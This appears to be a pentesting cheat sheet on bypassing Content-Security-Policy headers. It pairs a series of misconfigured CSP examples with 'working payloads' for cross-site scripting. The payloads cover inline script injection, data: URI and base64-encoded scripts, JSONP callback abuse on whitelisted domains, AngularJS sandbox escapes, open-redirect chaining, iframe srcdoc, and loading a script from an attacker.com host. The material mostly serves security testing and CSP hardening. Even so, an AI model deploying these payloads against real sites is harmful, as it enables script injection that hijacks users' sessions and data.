# CSP Checker

# Content-Security-Policy Header

- If upload from web is allowed or <img src="URL">:

- Content-Security-Policy: script-src https://facebook.com https://google.com 'unsafe-inline' https://*; child-src 'none'; report-uri /Report-parsing-url;
By observing this policy we can say it's damn vulnerable and will allow inline scripting as well . The reason behind that is the usage of unsafe-inline source as a value of script-src directive.
working payload : "/><script>alert(1337);</script>

- Content-Security-Policy: script-src https://facebook.com https://google.com 'unsafe-eval' data: http://*; child-src 'none'; report-uri /Report-parsing-url;
Again this is a misconfigured CSP policy due to usage of unsafe-eval.
working payload : <script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

- Content-Security-Policy: script-src 'self' https://facebook.com https://google.com https: data *; child-src 'none'; report-uri /Report-parsing-url;
Again this is a misconfigured CSP policy due to usage of a wildcard in script-src.
working payloads :"/>'><script src=https://attacker.com/evil.js></script>"/>'><script src=data:text/javascript,alert(1337)></script>

- Content-Security-Policy: script-src 'self' report-uri /Report-parsing-url;
Misconfigured CSP policy again! we can see object-src and default-src are missing here.
working payloads :<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

- Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' ajax.googleapis.com;
With unsafe-eval policy enabled we can perform a Client-Side Template Injection attack.
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular.js"></script> <div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} </div>
<script src=https://drive.google.com/uc?id=...&export=download></script>

- Content-Security-Policy: default-src 'self'; script-src 'self'  *.googleusercontent.com *.google.com *.yandex.net;
You can upload the payload to the Yandex.Disk storage, copy the download link and replace the content_type parameter value in the link with application/javascript
<script src="https://[***].storage.yandex.net/[...]content_type=application/javascript&[***]"></script>

- Content-Security-Policy: default-src 'self'
If you are not allowed to connect to any external host, you can send data directly in the URL (query string) by redirecting the user to your web server

- Content-Security-Policy: script-src 'self'; object-src 'none' ; report-uri /Report-parsing-url;
We  can see object-src is set to none but yes this CSP can be bypassed too  to perform XSS. How ? If the application allows users to upload any type  of file to the host. An attacker can upload any malicious script and  call within any tag.
working payloads :"/>'><script src="/user_upload/mypic.png.js"></script>

- Content-Security-Policy: script-src 'self' https://www.google.com; object-src 'none' ; report-uri /Report-parsing-url;
In such scenarios where script-src is set to self and a particular domain which is whitelisted, it can be bypassed using jsonp. jsonp endpoints allow insecure callback methods which allow an attacker to perform xss.
working payload :"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>

- Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com/; object-src 'none' ; report-uri /Report-parsing-url;
In  such scenarios where script-src is set to self and a javascript library  domain which is whitelisted. It can be bypassed using any vulnerable  version of javascript file from that library , which allows the attacker  to perform xss.
working payloads :<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
 <div ng-app ng-csp>
  {{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
 </div>"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>

- Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
If  the application is using angular JS and scripts are loaded from a  whitelisted domain. It is possible to bypass this CSP policy by calling  callback functions and vulnerable class. For more details visit this  awesome git repo.
working payloads :ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>"><script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>

- Content-Security-Policy: script-src 'self' accounts.google.com/random/ website.with.redirect.com ; object-src 'none' ; report-uri /Report-parsing-url;
In  the above scenario, there are two whitelisted domains from where  scripts can be loaded to the webpage. Now if one domain has any open  redirect endpoint CSP can be bypassed easily. The reason behind that is  an attacker can craft a payload using redirect domain targeting to other  whitelisted domains having a jsonp endpoint. And in this scenario XSS  will execute because while redirection browser only validated host, not  the path parameters.
working payload :">'><script src="https://website.with.redirect.com/redirect?url=https%3A//accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>">

- Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' www.googletagmanager.com;
With inline execution enabled we can simply injection our code into the page.
<script src="//www.googletagmanager.com/gtm.js?id=GTM-*******"></script>

- Content-Security-Policy: default-src 'self' data: *; connect-src 'self'; script-src  'self' ;report-uri /_csp; upgrade-insecure-requests
This CSP policy can be bypassed using iframes. The condition is that  application should allow iframes from the whitelisted domain. Now using a  special attribute srcdoc of iframe, XSS can be easily achieved.
working payloads :<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>* sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

- CSP with policy injection (only Chrome)

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